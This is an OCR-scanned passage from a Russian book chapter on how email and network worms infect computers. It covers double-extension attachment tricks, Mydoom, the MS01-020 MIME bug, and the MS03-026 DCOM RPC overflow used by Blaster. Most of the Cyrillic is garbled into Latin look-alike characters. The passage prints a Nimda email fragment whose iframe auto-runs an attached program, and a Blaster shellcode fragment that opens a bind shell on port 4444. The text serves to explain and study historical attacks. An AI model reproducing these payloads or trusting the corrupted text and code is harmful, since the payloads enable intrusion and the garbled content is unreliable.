O utlook and  M S  O utlook Expre ss as well as th re e  n e w ly  disco 
n o w  to  p ro te c t  y o u r c o m p u te r from th ese  vulnerabilities. Thi: 
fu n ctio n a lity  o f  all pre vio usly released p a tch e s .
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Il03T0My cJieayiomHH TpioK, Hcn0Jib30BaHHbiH BHpyconncaTe;iHMH flJIH 

o6MaHa no.?ib30BaTejieH, 3aK.7iioMa.ficH b KOHCTpynpoBaHHH «cjio > kh h x» 
HMeH <J)aHJioB. fle jio  b tom , h to  0nepau,H0 HHaa CHCTeMa Windows 9X/NT 
flonycKaeT npHcyrcTBiie BHyTpH cneim(J>HKanHH c|baMJia jiro6oro kojih - 
HecTBa ToneK (chm bojiob c A S C II-k o tjom  2 E h ) H npo6e;ioB (ch.mbojiob c 

A S C II-k o ,«o m  40h). Il03T0M y hmh 4>aiiJia, cKOHCTpytipoBaHHoro no  npHH- 

u n n y  «M E_NUDEJPG ... mhoto npo6e;ioB  ... ,EXE», Brio;me jierajibno. 
J in n  n0.Jib30BaTejiH, na6jiroaaiom ero Ha 3KpaHe TojibKo jieByio nacTb HMe

HH, oho  CooTBeTCTByeT (Jiaiuiy c KapraHKOH, ho  ana 0 nepaiiH 0 HH0 H-T0 

CHCTeMbi -  (J)aH.)iy 3anycKaeMoii nporpaMMbi! TaKHM 06pa30M, mejiKan 

MtmiKOH no  HKOHKe c HMeHeM «ME_NUDE.JPG», r jiyn u H  n0Jib30Ba- 

Tejib HaMepeBaeTCH VBiiaeTb Kapnamcy c miKaHTHbiM coaepaciiMbiM, a Ha 

caMOM aejie 3anycKaeT BHpyc. K ohchho, s^x^eKTHBHOCTb 3Toro MeToaa bo 
MHoroM 3aBHCHT o t  B3aHMHoro nojioaceHHH Ha 3KpaHe s.fieMeHTOB ynpaB- 

jieHHH noHTOBoro KJineHTa, o t pa3MepoB okoh  h t . n. TaK, HanpiiMep, 
riojibsoBaTejib ^Outlook Express* noHTH HaBepHHKa «KyniiTCH» Ha yjioB- 

Ky, a n0Jib30BaTe;ib «The Bat» HMeeT rnaHC yBHjieTb noJiHoe hmh (Jama 
nepBH E-Worm.Stator.a h H36ejKan> 3apa»ceHHH (cm. puc. 6.14).

Ot  dkryfmt@mail.ru 
0 6 p a n « A  OApec dkryfmt@mail.ru

K om j Vasya_pupkin@yahoo.com 
TeMa flpHBeT l!l

872 b

[pM B C T !

Tbow a ix p e e  irae fl&n o u k h  s a m  ofiupcx n p y r  ( n epB tric  a a p e c  ,  kotopmh 
c « y  np xm eJ i b  r o j i o c y )  .

A  w p jia p H o  b  K H T e p a e T e  k  t o j h .k o  h t o  no jiyM M Jia a  t o t  □ o m t o b u m  j b d x k  !

T a jt  h t o  a n e p E H *  p a s  runny s a e i t r p o H n o e  n u c b K O ! ! 1

O b  c x a s a u i  h t o  e c jn c  y  n e t a  b o s k k x h j t t  B o n p o c n r t o  a  H o n y  c n p a B K B a n  y  

refi*...
R s o a o jx b s o  cM K naT M K H a ji x o 6 a n r re j ib B a > i .

(KOCKemz> n a  4x3t o  n o c M O T p e T b )

X n y  O T B e n  o t  T e 6 jz ! ! !

H n m m i  o e K H o r o  c e 6 e  m t o  h t o  tm  x o ^ e m b  s a a T b  0 6 0  mmc .

H o it a !  U o i ia !

: ) ) ) ) ) ) ) ) )

P m c .  6 . 1 4  ❖ B O K H e K / iM e m a  TheBat 
BMflHa HaCTb nOfl/lHHHOrO MMeHM nepBfl

MHTepeCHOH pa3HOBH,aHOCTbIO MaXHHamni C HMeHaMH BJIOaceHHH HB- 
JineTCH npiiiiUHn achctbm h Biipyca E-Worm.Myparty. 3 t o t  MepBHK Ha- 

3biBa.>i (f)aHJi BJio^KeHHH HMeHeM «  WWW.MYPARTY.YAHOO.COM*. 
IIo aH  pa36epHCb, KJiiiKaeuib jui r a  no  ccbuiKe na noHTOBbni HHTepHeT- 
cepBHc «Yahoo» h.hi 3anycKaeuib ncriojinMc.MbiH (fiati/i c paciiiHpemieM  

«.COM ».

mailto:dkryfmt@mail.ru
mailto:dkryfmt@mail.ru
mailto:Vasya_pupkin@yahoo.com
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Ka3a/iocb 6m, Bee Bbim eynoM HHyrae «Tp ioK H » paccMHTanbi Ha Majio- 
KBajiH(J)imHpoBaHHyio ny6^HKy, a onbiTHhie nojib30BaTejm He ao/tacHbi 
nonaaaTbCH Ha cto .ib  npHMHTHBHyio y/ioHKy. H o  b nepBOii nojioB H H e 

2004 ro/ia MHTepHeT noTpaciia annaeMHH noHTOBoro nepBa E-Worm. 
Mydoom, opHeHrapoBaH H oro He Ha «aypaK O B», a Hao6 opoT -  na  «iiih 6 -  
ko yMHbix». HepBb MacKHpoBajica n o a  «KBHTaHUHio», OTcujiaeMyio non- 

TOBbiM peaeeM  Ha3aa, n o c jie  HeyaaHHoii nonbiTKH aocTaBHTb nHCbMO. 

«Bame npouuioe nncbMO, -  coo 6 m a;i oh, -  n axoaam eeca  c e m a c  b  3aap- 

XHBHp0B3HH0M arran e, aapecaTy He aocTaBaeHO» (cm. pnc. 6.15).

fed*
message, msg 
(000Q0Q96.MS 
G ) Message 
31 756<5aftr

O t  postma$ter@post km.ru 
Ko m j  ^ ^ b 0 c h a t . r u  
T e »«a  Undelverable: test

4 1 7 b

Your message

To: reattBpost.kn.ru
Subject: test
Sent: Hed, 28 Jan 2004 11:55:23 +0300

did not reach the following recipient(s):

ioat.t8post.lcro.ru on ¥ed, 28 Jan 2004 09:56:36 +0300 
The recipient name is not recognized

The HTS-ID of the original message is: c*su;a" 
;p«r-style;l«NHG-Ki.IL10401280656DQPPGS12

HSEXCH: IHS: r-style :NHG:NHG-HJLIL1 0 (0QOCO5A6) UnJcnown

P m c .  6 . 1 5  ❖ F Io m to b u m  s e p B b  Mydoom 
MacKupyeTCfl nofl «KBHTaHunio»

yaHBJieHHbiii n0.nb30BaTe.nb HCMea.fieuHO 6poca;ica BHacHHTb, Ka- 
Koe HMeHHO ero  nucbMO He Ham no CBoero anpecaTa. O h  Tepaji bchkvk) 
OCTOpOJKHOCTb, CBOHMH Co6cTB6HHbIMH pyK3MH pacnaKOBbIBa.fi apXHB H... 
pa3yMeeTca, 3anycKaJi «3apa3y».

B e e  cn oco6bi o 6MaHa aoBepniiBoro no;ib30BaTejia nepe4nc.rmTb HeB03- 

m o »h o  -  hx  co th h ! M eToaoB  6opb6bi Toace HeMajio.
CoBpeMCHHMe BepCHH nOMTOBblX KJHieHTOB yMeK)T CaMOCTOHTejIbHO 

pacno3HaBaTb ra n  npHiueauiero 4>aH/ia ii npeayupeacaaTb nojibsoBaxejLH: 
«BiiHMaHHe, b noMTOBOM BJio^ceHHH -  nporpaMMa*! H eK 0T0 pbie noM- 
TOBbie pejien He nponycKaioT nncbMa c apxnBnpoBaHnuMn arraHaMii, 
mto. Kone'jHo. onenii Heyao6HO aaa no/ibsoBaTe.ncn, ho npoTHB Mydoom 
noao6nbix HepBeii aocTaTonno aewcTBeHHO. YcTaHOBJicHiibiii b pe>KHMe 

MOHHTopa am'iiBiipyc Taicace MoaceT 3a6;i0Knp0Baxb 3anycK ripnmeameii
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no noHTe nporpaMMbi. H y  a o6iuhh noflxoa k nponiBojieHCTBHio iioao6- 
Horo poaa «3apa3e» -  npocTo He aKTHBHpoBaTb (to  ecTb He HHTaTb, He 

3anycKan>, He npocMarpHBaTb) nozio3pHTejibHbie noHTOBue BJioaeeiiHH: 

aoKyMeHTH, nporpaMMbi, KapraHKH h t. n.
BnpoHCM, KaK 6yaeT npoaeMOHCTpupoBaHo HHace, aaace h TaKoii noa- 

xofl He Bceraa OKa3biBaercsi aeiicTBeHHWM.

6 . 5 . 2 .  O u im 6 km n p n  o 6 p a 6 o T K e  n 0 HT0 B w x  b h o k g h m m

B o6meM nporpaMMHOM Kozie W W W -K J in e H T a  Internet Explorer h non- 
TOBoro KJiHeHTa Outlook Express Bepcnn 5.01 h 5.5 HMe.iHCb rpy6bie 

ajiropiiTMHHecKHe omn6KH, CBH.iaHiibie c HenpaBHJibHhiM pacno3HaBa- 
HneM rana (JjaiiJia, noMemeHHoro b n0HT0B0e BJio;*eHHe (a rran ). Ecjih 

b cJiy>Ke6HHx 3arojioBKax nncbMa onucaTb s to t 4>aiiJi KaK KapTHHKy, 
My3biKajibHbiii (JiparMenT, BH/ieoKJinn h t. n., a bmccto Hero npHCoean- 
HHTb k 3JieKTp0HH0My nHCbMy HcnojiHJieMyio nporpaMMy, to  OHa 6yaeT 

3anymeHa aBTOMaranecKH b to t  momcht, Kor^a nojib30BaTejib npocTo  

3HaK0Mirrca c tckctom nncbMa. Beztb onepaunoHHaa CHCTeMa pacno3Ha- 
eT coAep>KHMoe (J)aiiJia He no BHeuiHeMy onncaHHio, a no BuyrpeHHeMy 

coflepacHMOMy (b  jiaHHOM cjiynae no cnraaType « M Z » ) .
B ot OparMeHT nncbMa, paccbuiaeMoro nepBeM E-Worm.Win32.Aliz:

-- bound
Content-Typs: audio/x-wav; 
nairie= whatever, exe"
Content-Transfer-Encoding: base64 

Content-ID:

3TOT nOHTOBblH HCpBb, HeCMOTpfl Ha HeKOTOpbie HeTOHHOCTH (B  HaCT- 

hocth , oh He coBceM BepHO onpe^eJiHJi MecTonojioaceHHe 4)aiiJia aapec - 
HOH KHHTIl), BW3BaJI B 2001 r. flOBOJIbHO o6uiHpHyK) ammeMHK).

/Zpyroii cnoco6 Hcn0Jib30BaHHH vh3bhm octh 3aKJiK>HaeTC5i b «Maxn- 
HauHax» c niicbMaMH, y KOTopux nojie ^Content-Type* HMeeT 3iiaHeHHe 

«text/htm l». Bee noHTOBbie k jih c h tu  aBTOMaraHecKH OTo6 paacaioT TaKiie 

nncbMa He b  BH/ie TeKCTa, a b  bhjic html-cTpaHHHKH. j3,aBafiTe BcnoMHHM  

OCHOBbI M3blKa rmiepTeKCTOBOH pa3MeTKH: B TeKCT CTpaHHHKH BCTaBJiaroT- 
ch «T 3 rn * -  cjiy^KeoHbie mbtkh, orpaHiiHemtbie yraoBbiMH ckookbmh: «<>> 

h « > » .  B  KOHTeKCTe aanHOH rjiaB U  oco6 chho HHrepeceH Tar «<iframe>», 
ripeaHa3Ha4enHbiH ^jih  BCTaBKH o jihoh html-CTpaHHHKH b apyry io . R jia  

Toro h to 6 h  o 6 MaHyTb Outlook Express, AocTaTOHHO npn  onncaH im  ax- 

Tana b cjiyace6H0M 3arojioBKe yKa3aTb, hto BJioacenHbm o 6 i>eKT mbjimct- 
ca  TeKCTOM, 3aKo;inpoBaHHhi.M npn noM om n MCTO/ia «quoted-printable»,
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a BM ecTo 3Toro n oA cyn yT fa  nporpaM M y. B o t  npH M ep  ocjpopMJieHHH <raapa3- 

H o r o »  m icbM a  b HepBe E -W o rm .N im d a :

MIME-Version: 1.0
Content-Type: multipart/alternative; boundary1...
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>

<titlex/title>
<Dody>
<iframe src=30cid: 4>afln_*-sepB« height=300 width=3D0>
</iframe>

</oody>
</html> ...
Content-ID: i(>aH.n_Mep8E

IIporpaM M a, noM em eHHaa b  a rran , no-npe»CHeMy, sanycKajiacb aBTO-
MaTHHeCKII, CTOIIJIO TOJibKO ITOJIb30BaTejII0 B3rjIHHVTb Ha TeKCT IIHCbMa.

PaccM O TpeH H aa om iifjK a  om icaw a  b 6 ro ju ieTeH e M ic r o s o ft  c HuaeKCOM 

M S 0 1 -0 2 0  ^ In c o r r e c t  M I M E  H e a d e r  C a n  C a u s e  IE  t o  E x e c u te  E -m a il 

A t ta c h m e n ts .  E h  6 b u m  no/mepaceHbi KJineHTbi In te rn e t  E x p lo re r  h 

O u t lo o k  E x p re ss  BepcHH 5.01, KOTopbie n o  yM ojrnaH H io ycTaHaBJiHBajincb 

BM ecTe c W in d o w s  9 8  S E  h  W in d o w s  2000. H e  ncnpaBJiena oHa 6 biJia 

h  b In te r n e t  E x p lo r e r  5.5. O o w iip H e H iim e  annfleM HH n o fr o B b ix  nep - 

B eii E - W o r m .A l i z ,  E -W o r m .N im d a ,  E - W o r m .A w r o n ,  E -W o r m .S w e n ,  

E - W o r m .K le z ,  E - W o r m .N e t s k y  h  t .  n. b 2 0 0 1 -2 0 0 3  ro/ iax OKa.3a.THCb 

B03M03KHU 6 j ia ro fla p ji h m ch h o  3 to h  ya3BHMOCTH. O t  3apaaceHHa He cna- 

ca jia  aaace peKO M enaoBaH H aa Bbiuie «C B epx 6 flH TejibH 0CTb» c o  cTopoH b i 

nojib30B aTeju i. I l o c j i e  o 6 Hapv>KeHHH o ii ih 6 k h  cJ^HpMoii M ic r o s o ft  6 m jih  

H3 jiaH w  naTHH... h o  TOJibKO h jih  aMepHKaHCKHX BepcHH In te rn e t  E x p lo re r  

h  O u t lo o k  E xp ress , 3 a h  t o  He zy ia  B cex  pa3H0 BHflH0 CTeH. A  m s i  p y c c ia ix ,  

(J)paHIiy3CKHX, HeMeiJKHX, KHTaHCKHX H npOHHX JI0KaJIH30BaHHbIX BepCHH 

HHKaKHX n aTH eii He 6 m jio . 0TKa3aBUiHCb hcnpaBJiHTb o u ih 6 kh , M ic r o s o ft  

b 2 0 0 1 -2 0 0 3  ro/rax cjjaicrHHecKH bm hv AH/ia n o jib3 0B aT ejie ii ycKopeH H M - 

mh TeMnaMH n e p e x o a iiT b  Ha W in d o w s  X P  c In te rn e t  E x p lo re r  BepcHH 6.0

(KOTOphril TOJKe KHIIIM-fl KHIUCJI OIUH6KaMH, npaB/ja, HHblMH).

BnpoM eM . n o jib30B aTejieH  noHTOBoro KJineHTa T h e B a t  h BCTpoeHHbix 

W W W -K J in eH T O B  N e ts c a p e  N a v ig a to r/ C o m m u n ic a to r  h O p era  a r a  

sm ijieM H H  npaKTHHecKH He Kocnyjmcb. A  n o c jie  toto KaK 6 oJibiuiiHCTBo 

no jib30B aTejieH  nepeuiJiH Ha coBpe.Memibie BepciiH  noHTOBbix kjihohtob, 
armzieMHH vepBeii, ncn0jib30BaBiuiix vjtsbhmocti, M S 0 1 -2 0 , noTiixoubKy 
3 a r jio x .m  caMH coo o ft .
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6 . 5 . 3 .  O u im 6 km b  n p o i j e c c a x  S V C H O S T  m L S A S S

C u cTeM H H e rip ou eccb i « S V C H O S T »  h  « L S A S S »  m rpaioT BaacHVio p o jib  

b Windows N T  -  o h h  co^epacaT  6oJib iuoe k o jih h 6 c tb o  cJiy^KeoHbix n o- 

to k o b ,  Heo6xoflH M M X flJia pa6on> i onepauHOHHOH CHCTeMbi. PaHee, b pa3- 

a e .ie , nocBHmenHOM M acKHpoBKe Windows-BHpycoB, npHBOflHJincb n p n - 

Mephl HeKOTOpbIX T3KHX nOTOKOB. K  COJfCajieHMfO, HMeHHO B HHX OblJIH 

o6napy>KeHbi yjoBHMOCTH, n 0 3B0JiXBuiHe BpeflOHOCHOMy K o a y  npoH H - 

KaTb B CHCTCMy H3BHe, no ceTH.

O fli iH  H3 noTOKOB n p o u ec ca  « S V C  H O S T *  oTBenaeT 3a c jiyac6y 

D C O M  R P C  -  noacHCTeM y, KO Topaa o6ecnenH BaeT  HHcjjopM ariHonHoe 

B3aHM0fleHCTBHe ,apyr c jp y ro M  ripHioia/mbix h cHcreMHbix nporpaM M 
Hbix KOMnOHCHTOB, pacnojioaceHHbix KaK Ha o/ihoh, TaK h Ha pa3Hux 

ManiHHax cera . K  cepBiicaM noflCHCTeMti B03M0»ceH KaK .WKaJibHbifi 
aocTyn, TaK h o 6 pameHHe no ccth Mepes n opT  135 npH noM oiuH  n p 0T0 - 

k o jio b  ce.MeficTB T C P / IP ,  N e t B I O S  h  I P X / S P X .  B  m o n e  2003  r. rp y n -  

na «cepb ix  iu ,'w n », HMeHyiomnx ceoa LSD -  L a s t S ta g e  o f  D e le r iu m  

(^IToc/ieziHHJi CTaflira n o x M e jib « » ),  ooHapyacH.ia b cepBHCHOH 4>yHKimH 

«C o G e t In s ta n c e F ro m F i]e > >  6 h 6 jih o t6 k h  « O L E 3 2 .D L L »  KpHTHMecKyro 

yH3BiiMocTb -  iioa  coaepjKHMoe oaH oro  H3 cTpoKOBbix napaM expoB 6 mji 
3ape3epBHpoBaH MaccHB nocToaHHoii ajimhbi 544  6 aHTa:

HRESULT CoGstInstanceFroiiiFile(
COSERVERINFO « pServerlnfo,
CLSID * pclsia,
IUnknown * punkOuter,
DWORD dwClsCtx,
DWORD grfMode,
OLECHAR . szNane, // <- HeBepHO Mcno/ibayeHU* napaneTp 
ULONG cmq,
MUITI_QI * rqnaResults 
);

Bn6jiMOTeKa 3arpy»ca.>iacb b aapecHoe np0CTpaHCTB0 npouecca  

« S V C H O S T » ,  a (JjyHKimH 3 k th b h o  Hcn0.Tb30Ba.iacb c jiy>k6oh  R P C  

D C O M .  3 t o  03Hanaji0 B03M0JKH0CTb aTaKH Ha R P C  D C O M  n o  ceTH  b 

cooTBeTCTBHH c paccMOTpeHHOH Bbiiue cxeMOH «nepeno.fiHeHHH 6yc }jepa ».

O u iH 6K a npHcyTCTBOBa.aa npaKTHHecKH bo  B cex  pacnpocTpaH eH H bix  

b t o  BpeMa onepauHQHHbix cHOTeMax b c tb h  N T : W in d o w s  N T  4.0, W in d o w s  

2000, W in d o w s  X P, W in d o w s  2003  Server h  Mo,iHcJiHKanHHX, Bb inojm eH - 

Hbix CTOpOHHHMH (})HpM3MH (H anpH M ep, C isco ). OneHb OblCTpO, 6yKBajTb- 

h o  Mepea ;use iie/ ie-m  KH TaficKaa Ko.viaH/ja «c e p w x  iu jw n »  X focu s  cy.Me:ia 

HCn0.Tb30BaTb 3Ty VH3BHMOCTb, pa3 pa6 oTaB H Ony6jIHKOBaB COOTBeTCT- 

B y io im iH  aKcnJioiiT. IIporpaMM iicTbi H3 M icroso ft oneparHBHo BbinycTii-
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jih  oio/uieTeH b 6 e3 o n a cH o c ™  M S 0 3 -0 2 6  h  «3 a n jia T K y » npoTHB vji3b h m o  

e r a .  O flH aK o  «3 a n a a T K o fl*  B0cn0.ib30Ba.iHCb TOJibKO H an 6 o jiee  6aH Te.ib- 

Hbie H OTBCTCTBeHHbie CeTeBbie ailMHHHCTpaTOpbl, a aecaTKH  MHJIJIHOHOB 

p aaoB b ix  n o jib3 0B aT e jie ii TpeBoacHyio HHcjjopMauHio n p o c T o  n pon rH op H - 

poBaJiH. H y  b  caMOM aeJie, He 6e»CHM ace m u  c jio m h  ro jiO B y b  6 jiH >Kam iiyio 

am eK y , y c jiw in a B  n o  p a a n o  o  iio h b .'ic h h h  b  K iiT a e  m h  M c k c h k c  K aK oii- 

H H 6yab HOBoii pa3H0BHflH0CTH «H T H 4 b ero » i h h  «CBHHoroi> rp n n n a !

Bnpyc-H epBb, ncnojibsoBaB iuH H  }'H3BHM0CTb M S 0 3 -0 2 6 , noflBiuica  

b cepe/iHHe aB rycTa  2 00 3  roaa  -  s t o  6b iji 3HaMeHHThiii Net-Worm. Win32. 
Lovesan ( o h  ace W32.Blaster, oh  ace W32.MSBlast, o h  ace Poza). 3 to t  

B H pyc ( h  e ro  k j io h h )  0praHH30Baji o rp o M iiy io  no  MacuiTa6aM srw aeM H io .

B iip y c  aTaKOBaji KOMnbiOTepbi co cjiyiaHHO BbiopaHHbiMH IP-a/ipeca- 
mh, nocbiJiaa Ha nopT 135 TCP-naKeTbi c shell-KoaoM . He pec Hyp aJiHHHoe 

HMa (J jaiL ia nepenojiHHJio BbiaejieHHbiH noa H ero  6y4>ep h  «3 a ra p a jio »  

aapec B03BpaTa H3 cJjyHKiiHH «CoGetInstanceFromFile» HOBbiM 3Hane- 
HHeM (1 8 7 5 9 F h  j i i i f i  Windows 2 000  h  1 0 0 1 3 9 D h  ajis i Windows XP). 3 t o  

6mji aapec }niac.TKa aapecH oro  npocTpaHCTBa, npHHaaaeacam ero npoijec- 
cy «SVCHOST» u  coaepacamero KOMaHay «JM P ESP*. TaKHM 06pa30M, 
B w x o a  H3 4>yHKUHH n pon cxoaH J i Kyaa-TO  B ra y6 b  «SVCHOST», h o  no 'iTH  

cpa3y ace ynpaBJieHHe B03BpamaJi0cb Ha na'iajio 6y4x;pa, coaepacamero 
shell-Koa.

3 t o t  s h e ll-K o a  n p n  n oM om n  M eToaoB, xapa icrepH b ix  a-iH W in 3 2 -  

BHpycoB, HCKaJi b  naMHTH «  K E R N E L 3 2 .D L L * ,  a  BHyrpH  -  Bee H eo6 xo - 

aHM bie (Jj v h k u h h . B o t  OMeHb novMHTeabHMH 4>parMeHT sh e ll-K oaa , n p n  

n o M o m n  K O Toporo  B iip y c  CTaHOBHJicn ceTeBbiM cepB epoM  h  o cym ecT B .ia .i 

3anycK  KOM aHaHoro H H TepnpeTaTopa « C M D . E X E » :

push 5C110002h Ts'in CV — flemarpaMHHbiii, n=
mov ecx, esp
push I6h ; AJii-iHa KgeHT*t»waTopa
push ecx ; acpec h u s h t m^ m k s t o p s ys/ia
push ebx ! G0KBT
call dword ptr [esi+20h] ; call bind

call dworfi ptr [esi+24hj ; call listen

call dword ptr [esi-f28h] ;
mov edx, eax ;
push 657865h
push 2E646D63h ;

; Sano/lneH^e CTpyKTypbi STARTUPINFOA
mov Osp+48h], edx ; nepeHasHa^eniie STO IMPUT

call accept 
X SH flJ l C 0 K 6 T 8  

C-Tpotca VH-1BHV1 
'CMD.EXE'.0
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raov [esp+4Ch], edx
inov l esp+50h ], edx
lea eax, [esp+10h]

nepeHasHa^eHMe STDOUTPUT 
RepeHasHaMeHHe STDEflfl

push esp
push eax
push ecx
push ecx
push ecx
push 1

PROCESS.INFORMATION 
STARTUPINFOA 
0 
0

push ecx
push ecx

npHSHaK Hac/ieayewcTM 8TpM6y 
0

push dword ptr [esi+30h] 
push ecx

Afipec 'CMD.EXE', 0 
0

call dword ptr [esi+lOh] ; call CreateProcessA

M 3 ana/iioa npHBe/ieHHoro c|)parMeHTa mojkho 3aKJnOHHTb:

O  HepBb oTKpwBaji nopT 4444 h co3ZiaBaji cBimHHMH c hiim cokct;

O  yepBb nepena3HaMaji aecKpnnTopbi BBOfla-BWBOzia 3anycKaeMoro 

npouecca Ha BHOBb OTKpbiTbiii cokct, sacTaB/MH TaKHM 06pa30M  

«CM D.EXE» Bbino^iWTb KOManzibi, npHxo/iamMe He c KnaBHaTy- 
pbi o t iiojib30BaTejia, a no ceTH -  o t  «KJineHTCKoft» Macra yepBH, 

ocxaBiueHCH Ha aTaKyiomeM KOMnblOTepe.
MTaK. BHpyc nojiynaji hojihm h KOHTpcjib a a j  chctcm oh h Bbinojraaji 

Bee Heo6xoflHMbie aencTBHh no  flOKanjce CBoero Te.ua Ha jh c k . A noTOM  

Biipyc BbinojiHHJi cHCTeMHbiii 3anpoc <sExitProcess», h rpy6o  npepBaH- 

Hbiii «SVCHOST>> BbiJieTa/i, h to  npuBO/iHJio k HeoSxofliiMocTH nepe3a- 
rpy3KH CHCTeMbi (cm. piic. 6.16).

O CwcreMa 3aBepuiaer padoru. CoxpaHwre 
AaHMbte m BuftoKre M3 cucTeMbi. Bee 
HecoxpaneHHbie n3MeHemfl fiyayr 
ncrrepqHbL OrKfflOMeHne cwcreMbi BbiSBaHo 
N T  A U TH O R ITY S S Y S TE M

BpeMsi ao OTKnicmeHMn: 00:00:33

— CoofimeHwe---------------------------------------
Heo6xoanMo nepe3arpij3wrb Windows. 
nocKD/ibKy np0H30Luna HenpeABnaeHHas
ocTahoeKa cny*i5bt Remote Procedure 
Call (RPC)________________________________

Pmc. 6 .1 6  ❖  C o o 6 meHMe onepauMOHHOfi cucTeMbi 
b npMcyTCTBUH HepBa Blaster



432 ♦> CeTeBbie n nonroBbie Bupycbi n nepBM

Flo HeK0 T0 pbiM oueHKaM, opHrHHajibHWH <uiTaMM» Net-Worm . Win32. 
Lovesan.a sapaan jr jieTOM-ocenbro 2003 r. okojio 9,5 mjih K0 MnbK>Tep0B. 
n o  CMacTbK), o h  HHnero He yHirrrosKaji Ha n0Jib30BaTe;ibCKHX KOMnbio- 

Tepax, TOJibKO nocbuiaji Ha /iomch w indow supdate .com  MHoroHHCJieHHwe 

MycopHbie 3anpocM, nbrraacb  HapyuiHTb pa6 oTy ueHTpa no pacnpocTpa- 

hchhkd «3an jiaTOK». Ho 6 ec.KonTpojibHoe pasMHoaceHHe BHpyca b  M h - 

TepHeTe ii caMo no ce6 e npnuec jio  nojib30BaTejwM Maccy Hey,ao6 cTB. 
B Te neziejiH h  Mecnubi, n o r^a  pacripocTpaHajica Net-W orm .W in32. 
Lovesan, MiipoBoii Tpa<J)HK o h ji  6 yKBajibHo HaBOAHCH arpeccHBHWMH  

TCP-naKeTaMH, HecymHMH b  ce6e shell-KOfl. C to h jio  no flK J iiow rb  He3a- 
mHmeHHbift KOMnbroTep k  MuTepHeTy, h  oh  no/iBeprajica BHpycHoii aTaKe 

oyKBa.ibno Mepe3 HecKOJibKO MHHyr pa6 o r a ,  BHe 33bhchm octh o t  Toro, 
rfle HaxoziH.nca 4>H3HHecKH -  Ha ’dvKOTKe h jih  Ha Mbice IopH. ATaKOBaH- 

Haa onepauHOHHaa CHCTeMa aBTOMaTHHecKH nepe3arpyacajiacb... noTOM 

em e pa3... h  eme... h  oriHTb... h  cHOBa... KjiaccHHecjcne aHTHBHpycbi He no - 

MorajiH, Beat o h h  pearapoBajin Ha «3ap33y», oc^opMJieHnyK) b bh/u; cJsaH- 

Jia, a Net-W orm .W in32.Lovesan  HaHHHaJi pa6 oTy KaK nacTb Haxoaame- 
rocH b  naMHTH npouecca «S V C H O S T ». PeK0MeH,a0BaHH0e HeKOTOpbiMH 

ropaHHMH rojioBaM H nojiH oe OTKJHOHeHHe cJiy/KObi D C O M  R PC  n p ra o -  

flHJio k  onca3y p a 6 oTbi MHOJKecTBa npHKjiaflHux nporpaMM (HanpHMep, 

BXOflHiiiHX b  MS O ff ic e ). KoM nbioTep 6 e3  ycraHOBJieHHOH «3anJiaTKH» 

cnaca/io jiiiuib c|)H3HMecKoe OTCoejin HCHne o t  ce/ra h jih  cpo'snaa ycraHOB- 
Ka cJ)aftpBOJia (dpaH jjM ayapa ), 6 jioKHpyiom ero Tpa^HK  nepe3 135-h nopT. 

B Te ace aBrycTOBcicHe a h h  2003 r., Kor/ia oym eBajia ann/ieMna nepBa N et- 
W orm .W in32.Lovesan, Ha ceBepo-BocTOKe CLUA HanajiHCb MaccoBbie 

OTKJIIOMCHHH 3JieKTpOSHeprHH. BepCHH 04>HIJH3JIbH0H KOMHCCHH, pac- 
cjieaoBaBineH o6cToaTejibCTB3 HHUH/teHTa, He no/rraepflHJia bh h v  nepBH 

b  aBapHH, ho... cjihuikom  y *  Majia BepoRTHoe.Tb no;io&Hbix «c jiyH am ib ix » 

coBiia/ieHHH.

Bo3mo»cho, CHTyanHa pa3BHBajiacb 6bi no eme 6oJiee xyaiueMy cueHa- 
pHK), ecjin 6w He «K0HTp4epBb» Net-W orm .W in32.Welchia (naBecTHbiit 
TaKJKe no^ HMeHeM Nachi), Hcn0Jib30B3BiHHH KaK Ty ace ya3BHM0CTb, 
TaK h HeKOTOpbie jipyrne, KOTopbJH 6 w ji 3anymeH b pa3rap annaeMHH 
Net-W orm .W in32.Lovesan.a. Oh y/iajraji c KOMnbiOTepa cBoero «ne- 
;ipyra», a noTOM caMOCToaTe.ibno cKamiBaJi c caiiTa windowsupdate.com 
«3anjiaTKy» h npHHyaiiTejibHo HHcrajuiHpoBaji ee b chctcmv. BnponeM, 
nepea HecKOJibKO /ihoh, Kor/ia pacnpocTpaHeHHe Net-W orm .W in32. 
Lovesan.a aaMezuiHJiocb h iiom.ao na y6bi.'ib, npmnjioci, oopoTbca yace c 
Net-W orm .W elchia, napymiiBiiiHM paSoTV ce™ KOMnaHHH Air Canada. 
Kto paspaoo-raji h aKTHBnpoBa.’i «KOH'rpMepBa»? Abtop Net-W orm .



KaK nepBM npoHWKaiQT b KQMnbioTep ❖  433

Win32.Lovesan.a, HanyraHHbm BunymeHHMM H3 6yTttiKH a»chhhom? 

AHOHHMHbie COTpyflHHKH KaK0M-Hn6y/tt aHTHBHpyCHOH KOMMaHMH? He  
noM or npoacHHTb cHxyaqmo h  aMepiiKaHeu, /I,ace4)pH JIii IlapcoH , apecxo- 
BaHHbiH b KOHije ;iexa 3a co3aaHHe a  pacnpocxpaHem-re pa3H0BHaH0CXH 

Net-Worm.Win32.Lovesan.b. Ybh, oh OKa3ajica Bcero Jimub ruianiaxo- 
poM nyaaix H/ieft h Mo®i(J)HKaxopoM nyacHX pa3pa6oxoK. K xo ace /[OJiaceH 

Hecxii OTBexcxBeHHOcTb 3a C03flaHHe opHriiHajioB HepBa u «  koHTpMepBH », 
HO CHX nop HeH3BeCXHO.

B o 6m e M  h  u eJ ioM  B H p yc  Net-Worm.Win32.Lovesan 6bu i n o 6eacaeH  

k  K O H iiy  2003 r., h o  k o j ih h c c x b o  ya3 B H M b ix  c a c x e M  ocx a B a J io cb  h  o c x a e x -  

c a  e m e  3HaHHxe.xbHbiM , n o a x o M y  c e x eB b ie  nepB H , H c n o jib a y io m H e  o i i iH 6icy  

MS03-026, c o 3f la io x c a  h  p a c n p o c x p a H a io x c a  ao c h x  nop. BnpoHCM, K p y n -  

H b ix  a n H fleM H H  o h h  y a c e  H e B bi3biB aiox.

B anpejie 2004 r. 6biJia 06H a p 0f l0B a n a  H H ^ o p M a u H a  06 y a 3BM M Ocxn 

b a p y r o M  OHcxeMHOM n p o u e c c e  -  «LSASS», e e  o n n c a H H e  BKJHOHeno 

b SiojuiexeHb 6e3onacH ocxH  M ic r o s o ft  c H n a e ic co M  MS04-011. A yace >ie- 

pe3  flB e  ueneim  n o a B H a c a  B H p y c  Net-Worm.Win32.Sasser, n c n o a b 3 0 -  

BaBiimH a x y  «a b ip y » .

Ilponecc «LSASS.EXE>> (Local Security Authority Service) -  nacxb 
